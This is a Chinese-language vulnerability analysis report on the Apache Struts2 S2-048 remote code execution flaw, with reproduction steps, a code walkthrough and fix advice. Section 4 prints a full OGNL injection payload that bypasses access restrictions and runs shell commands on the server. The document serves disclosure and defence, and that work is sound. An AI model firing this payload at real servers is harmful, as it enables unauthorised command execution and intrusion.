频道栏目
首页 > 资讯 > 系统安全 > 正文

Struts2 S2-048远程代码执行漏洞分析报告

17-07-19        来源:[db:作者]  
收藏   我要投稿

一、漏洞介绍

1.1 漏洞背景

2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。

1.2 漏洞影响

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。

二、漏洞复现

本文使用Apache Struts22.3.24 版本作为复现演示实例。

首先下载struts-2.3.24-apps.zip,下载地址为http://archive.apache.org/dist/struts/2.3.24/。解压其中的 strucs2-showcase.war至 tomcat 的工作目录 webapps 下。

根据官网说明,可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,搜索发现 org.apache.struts2.showcase.integration.SaveGangsterAction 存在漏洞。

查看 struts-integration.xml 配置文件可知对应 action 为 saveGangster,类为 org.apache.struts2.s1.Struts1Action。

所以访问 /integration/saveGangster.action

抓包修改参数值,发现成功执行了 OGNL 表达式。

三、漏洞原理分析

3.1 漏洞产生条件

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录。

3.2 漏洞动态分析

漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。

首先执行的 truts1Action 的 execute 方法,该方法首先获取 Action

然后调用 saveGangsterAction 的 execute 方法,将表单请求封装到了 actionForm 中,

并设置一个标识,用于获取 ActionMessage

接着获取 request 中的 ActionMessage,检查 ActionMessage 是否为 null,不为 null 则处理 ActionMessage 并显示在客户端,此处调用了会执行 OGNL 表达式的 getText() 方法,将拼接后的参数传入其中, getText 方法会根据不同的Locale 去对应的资源文件里面获取相关文字信息并展现。

getText(StringaTextName) 方法位于 com.opensymphony.xwork2.ActionSupport 中,代码如下

然后进入 TextProviderSupport.getText(String key, String defaultValue, List args) 方法,代码如下

args) 方法的代码” src=”/Article/UploadPic/2017-7/2017718115916948.png?www.2cto.com” width=”690″ height=”101.60958904109589″>

args) 方法的代码” src=”/Article/UploadPic/2017-7/2017718115917874.png?www.2cto.com” width=”690″ height=”136″>

此处进入LocalizedTextUtil.findText(Class aClass, String aTextName, Locale locale, String defaultMessage,Object[] args),其根据用户的配置做一些本地化的操作

接着进入 LocalizedTextUtil.findText(ClassaClass, String aTextName, Locale locale, String defaultMessage, Object[] args,ValueStack valueStack),代码如下

可知接着会调用 LocalizedTextUtil.getDefaultMessage(Stringkey, Locale locale, ValueStack valueStack, Object[] args, StringdefaultMessage),此函数调用了 TextParseUtil.translateVariables(String expression,ValueStack stack) 方法,执行 OGNL 表达式

TextParseUtil.translateVariables(Stringexpression,ValueStack stack) 方法代码如下

四、关于POC

4.1 远程代码执行POC

(1)用来出发文件漏洞,声明为文件上传。

%{(#_='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

(3)调用CMD命令的代码,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

五、修复意见

1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 无奈解决方案:不启用struts2-struts1-plugin插件

3、 根本解决方案:建议升级到最新版本2.5.10.1

相关TAG标签
上一篇:DevSecOps:一种不可抗拒的方式
下一篇:美媒称阿联酋黑客挑起卡塔尔危机 阿联酋否认
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站